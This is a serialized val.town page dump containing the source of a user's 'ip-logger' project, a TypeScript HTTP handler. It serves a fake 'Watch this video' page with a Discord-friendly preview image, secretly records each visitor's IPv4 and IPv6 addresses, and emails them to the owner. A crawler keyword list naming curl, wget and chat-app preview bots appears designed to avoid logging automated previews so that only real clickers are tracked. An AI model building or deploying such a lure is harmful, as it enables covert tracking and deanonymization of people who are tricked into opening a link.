[{"_1":2,"_3":-5,"_4":-5},"loaderData",{"_5":6,"_7":8},"actionData","errors","root",{"_103":104,"_105":106},"routes/embed.x.$handle.$name.$",{"_9":10,"_11":12,"_13":14,"_15":16,"_17":18,"_19":20,"_21":-5},"handle","daytonbisaillonboxyboo2323","name","ip-logger","path","main.ts","project",{"_22":46,"_11":12,"_33":47,"_48":-5,"_49":42,"_50":51,"_52":51,"_53":54,"_55":-5,"_56":57,"_58":25,"_59":32,"_60":-5,"_61":-5,"_62":63,"_64":65,"_66":-5,"_67":-5,"_68":-5,"_69":-5,"_70":71,"_72":71,"_73":74,"_75":74,"_76":74,"_77":71,"_78":71,"_79":80,"_81":82,"_83":84,"_85":42},"file",{"_22":23,"_11":14,"_24":25,"_26":-5,"_27":28,"_29":30,"_31":32,"_33":34,"_35":36,"_37":38,"_39":40,"_41":42,"_43":44,"_13":45},"permalink","https://www.val.town/x/daytonbisaillonboxyboo2323/ip-logger/code/main.ts","extension","id","e7649f77-81c5-4eff-803a-1fb027cf81de","fileId","ef419612-9dc2-11f1-96fa-1607ee4eb77e","parentId","branchId","39009a14-78e4-400f-8eb5-793bf4329490","branchVersion",37,"latest",true,"createdAt",["D",1788570032392],"version",36,"fileType","http","content","import { email } from \"https://esm.town/v/std/email\";\nimport { blob } from \"https://esm.town/v/std/blob/main.ts\";\n\nexport default async function handler(req: Request): Promise {\n const url = new URL(req.url);\n\n // 0. Serve the Open Graph image for Discord / social embeds\n if (req.method === \"GET\" && url.pathname === \"/og.png\") {\n return generateOgImage();\n }\n\n // 1. Handle incoming data sent back by the visitor's browser JavaScript\n if (req.method === \"POST\" && url.pathname === \"/log-client-ip\") {\n try {\n // Defense in depth: never log/email if the caller itself appears to be a bot.\n const postUA = req.headers.get(\"user-agent\") ?? \"\";\n if (postUA && checkIfBot(postUA)) {\n return new Response(\"Ignored\", { status: 200 });\n }\n\n const body = await req.json();\n const headerIP = extractIP(req);\n const timestamp = new Date().toLocaleString(\"en-US\", { timeZone: \"UTC\" }) + \" UTC\";\n\n // Resolve IPv4 and IPv6. Prefer what the browser confirmed; fall back to the header.\n const hasIpv4 = typeof body.clientIPv4 === \"string\" && body.clientIPv4 !== \"\";\n const hasIpv6 = typeof body.clientIPv6 === \"string\" && body.clientIPv6 !== \"\";\n const ipv4 = hasIpv4 ? body.clientIPv4 : (isIpv4(headerIP) ? headerIP : \"Not detected\");\n const ipv6 = hasIpv6 ? body.clientIPv6 : (isIpv6(headerIP) ? headerIP : \"Not detected\");\n\n // Dedup across ALL serverless instances using persistent storage:\n // only email once per IP within the cooldown window (default 2 minutes).\n const COOLDOWN_MS = 2 * 60 * 1000;\n const now = Date.now();\n const sendKey = ipv4 !== \"Not detected\" ? ipv4 : ipv6;\n const lastKey = `visit:${sendKey}`;\n\n const last = await blob.getJSON(lastKey).catch(() => null);\n if (last && now - last < COOLDOWN_MS) {\n return new Response(\"Logged\", { status: 200 });\n }\n await blob.setJSON(lastKey, now);\n\n // Send the finalized email alert\n await email({\n subject: `🌐 Website Visit — IPv4: ${ipv4}`,\n text: `Someone opened your link.\\n\\n` +\n `IPv4 Address: ${ipv4}\\n` +\n `IPv6 Address: ${ipv6}\\n` +\n `Timestamp: ${timestamp}\\n`,\n });\n\n return new Response(\"Success\", { status: 200 });\n } catch (err) {\n return new Response(\"Error processing log\", { status: 500 });\n }\n }\n\n // 2. Server-Side IP Extraction from headers (real IP as seen by Cloudflare)\n function extractIP(req: Request): string {\n const candidates = [\n req.headers.get(\"cf-connecting-ip\"),\n req.headers.get(\"x-real-ip\"),\n req.headers.get(\"x-forwarded-for\")?.split(\",\")?.[0]?.trim(),\n ];\n const raw = candidates.find((v) => v !== null && v !== \"\");\n if (!raw) return \"Unknown IP\";\n return raw.replace(/^::ffff:/i, \"\").replace(/:\\d+$/, \"\");\n }\n\n function isIpv4(ip: string): boolean {\n return /^\\d{1,3}(\\.\\d{1,3}){3}$/.test(ip);\n }\n\n function isIpv6(ip: string): boolean {\n return ip.includes(\":\") && /^[0-9a-fA-F:]+$/.test(ip);\n }\n\n const userAgent = req.headers.get(\"user-agent\") ?? \"Unknown Device\";\n const isBot = checkIfBot(userAgent);\n\n // 3. Return the HTML page with an embedded script that confirms the TRUE public IP\n return new Response(\n `\n \n \n \n \n Watch this video\n \n \n \n \n \n \n \n \n \n \n \n \n \n

\n \n

Watch this video

▶

Now playing

\n\n \n \n `,\n { headers: { \"content-type\": \"text/html; charset=utf-8\" } },\n );\n}\n\n// Generates a 1200x630 Open Graph preview image (gradient + globe mark).\nasync function generateOgImage(): Promise {\n const { PNG } = await import(\"npm:pngjs@7\");\n const W = 1200;\n const H = 630;\n const png = new PNG({ width: W, height: H });\n\n // Soft teal->indigo vertical gradient, plus a subtle radial glow center-left.\n const top = [94, 179, 199]; // #5EB3C7\n const bot = [49, 64, 122]; // #31407A\n const cx = Math.floor(W * 0.32);\n const cy = Math.floor(H * 0.5);\n\n for (let y = 0; y < H; y++) {\n const t = y / (H - 1);\n const [r0, g0, b0] = top.map((v, i) => Math.round(v + (bot[i] - v) * t));\n for (let x = 0; x < W; x++) {\n let r = r0, g = g0, b = b0;\n\n // Radial glow toward the center of the globe\n const d = Math.hypot(x - cx, y - cy);\n if (d < 260) {\n const k = 1 - d / 260;\n r = Math.round(r + (255 - r) * k * 0.25);\n g = Math.round(g + (255 - g) * k * 0.25);\n b = Math.round(b + (255 - b) * k * 0.25);\n }\n\n const idx = (y * W + x) << 2;\n png.data[idx] = r;\n png.data[idx + 1] = g;\n png.data[idx + 2] = b;\n png.data[idx + 3] = 255;\n }\n }\n\n // Draw a simple rounded \"globe\": concentric rings around (cx, cy)\n const outer = Math.floor(120);\n const inner = Math.floor(112);\n for (let y = cy - outer; y <= cy + outer; y++) {\n for (let x = cx - outer; x <= cx + outer; x++) {\n if (x < 0 || x >= W || y < 0 || y >= H) continue;\n const d = Math.hypot(x - cx, y - cy);\n if (d <= outer && d >= inner) {\n const idx = (y * W + x) << 2;\n png.data[idx] = 255;\n png.data[idx + 1] = 255;\n png.data[idx + 2] = 255;\n png.data[idx + 3] = 235;\n }\n }\n }\n\n const buffer = PNG.sync.write(png);\n return new Response(new Uint8Array(buffer), {\n headers: {\n \"content-type\": \"image/png\",\n \"cache-control\": \"public, max-age=86400\",\n },\n });\n}\n\nfunction checkIfBot(userAgent: string): boolean {\n const uaLower = userAgent.toLowerCase();\n const botKeywords = [\n \"bot\", \"spider\", \"crawl\", \"slurp\", \"mediapartners\", \"preload\", \"crawler\",\n \"curl\", \"wget\", \"python-requests\", \"python-urllib\", \"go-http-client\",\n \"headless\", \"phantom\", \"selenium\", \"puppeteer\", \"playwright\",\n \"discordbot\", \"slackbot\", \"telegrambot\", \"whatsapp\", \"facebookexternalhit\",\n \"twitterbot\", \"linkedinbot\", \"googlebot\", \"bingbot\", \"yandex\", \"baiduspider\",\n \"duckduckbot\", \"applebot\", \"pingdom\", \"uptimerobot\", \"monitor\",\n \"facebook\", \"embedly\", \"quora\", \"pinterest\", \"skypeuripreview\",\n \"validator\", \"w3c_\", \"httpclient\", \"okhttp\", \"axios\", \"node-fetch\",\n \"libwww\", \"perl\", \"java/\", \"ruby\", \"scrapy\", \"guzzle\", \"postmanruntime\",\n ];\n return botKeywords.some((keyword) => uaLower.includes(keyword));\n}\n","deleted",false,"label","ycqq-l9s-h4c",[14],"5540b2dd-7a1e-4040-a45d-5ff96bb019a4",["D",1787359590173],"deletedAt","legacyEnvVars","privacy","public","httpPrivacy","description","HTTP endpoint that logs visitor IP and redirects","imageUrl","userId","a39d0eed-f048-4232-8dd4-fbad13bcb2cd","pinnedFileId","pinPreview","pinMigrated","screenshotVersion","likeCount",0,"orgId","01a026ee-2b78-75ea-9266-4000a582af1e","tursoName","tursoHostname","tursoMeasuredAt","pinned","userPerm","r","valPerm","blobPerm","rw","emailPerm","sqlitePerm","projectPerm","telemetryPerm","user",{"_9":10,"_102":98},"org",{"_9":10,"_95":96,"_97":98,"_56":57,"_99":100,"_101":42},"branch",{"_35":30,"_11":86,"_22":28,"_87":46,"_88":-5,"_89":-5,"_90":-5,"_91":-5,"_92":-5,"_93":12,"_94":10},"isOwned","main","projectId","forkedBranchId","forkedBranchVersion","forkedProjectPrivacy","forkedProjectId","forkedProjectOrgId","projectName","userHandle","displayName","Dayton Bisaillon (Boxyboo2323)","avatar","https://lh3.googleusercontent.com/a/ACg8ocKaXEuEllUihlkHhr6icLdcwzqhjJ7Ou0D78j3C43GFkczRiL2K=s96-c","tier","free","canRestrictVals","profileImageUrl","ctx",{"_79":-5,"_136":137,"_138":139,"_140":141,"_142":42,"_143":42,"_144":42,"_145":32,"_146":-5,"_147":-7,"_148":-7,"_149":63,"_150":42,"_151":42,"_152":-5,"_153":42,"_154":42,"_155":42,"_156":-5},"ENV",{"_107":108,"_109":110,"_111":86,"_112":113,"_114":115,"_116":117,"_118":119,"_120":121,"_122":123,"_124":125,"_126":127,"_128":129,"_130":131,"_132":133,"_134":135},"REACT_APP_SENTRY_DSN","https://586020d86f05489db63a554690acf1e9@o1398359.ingest.sentry.io/6724499","RENDER_GIT_COMMIT","e87eb04e707cf64e7e532c8e8ec395f209e17f15","RENDER_GIT_BRANCH","POSTHOG_API_TOKEN","phc_nmoyuAkStEZuUp69rYlg1DZgrIt19Gx0Y4Hwf8tGgJP","POSTHOG_API_HOST","https://wart.val.town","WEB_API_TEMPLATE","https://{val}.web.val.run","APP_URL","https://www.val.town","MODULE_URL","https://esm.town","VANITY_WEB_API_TEMPLATE","https://{label}.val.run/","DENOLS_URL","https://lsp.val.town","NODE_ENV","production","CLOUDFLARE_TURNSTILE_SITE_KEY","0x4AAAAAACtaIZJH7s9rBMZ6","GOOGLE_CLIENT_ID","875989696899-jtsqkhlbdv5jrlsk8631p7ipjg3c6o62.apps.googleusercontent.com","STRIPE_PUBLISHABLE_KEY","pk_live_51N2zvWEpZTTLipIkVEwXrUG9AT0yeOOEYxszarZT1jpsZV58Ly6wlg3SltZpHN26CUalOBmUSY7adQRQiSkCZz2500qSXNkf8Y","API_URL","https://api.val.town","orgs",[],"preferencesKeybindings","default","preferencesTheme","light","preferencesFixers","preferencesCopilot","preferencesSelectionAi","preferencesCloseBrackets","preferencesChatPanelState","preferencesDprint","preferencesDenofmt","notificationCount","flagDenols","isBusinessOrgMember","businessOrgHandle","isBusinessOrgAdmin","isHigherTownieTier","navCollapsed","currentOrgId"]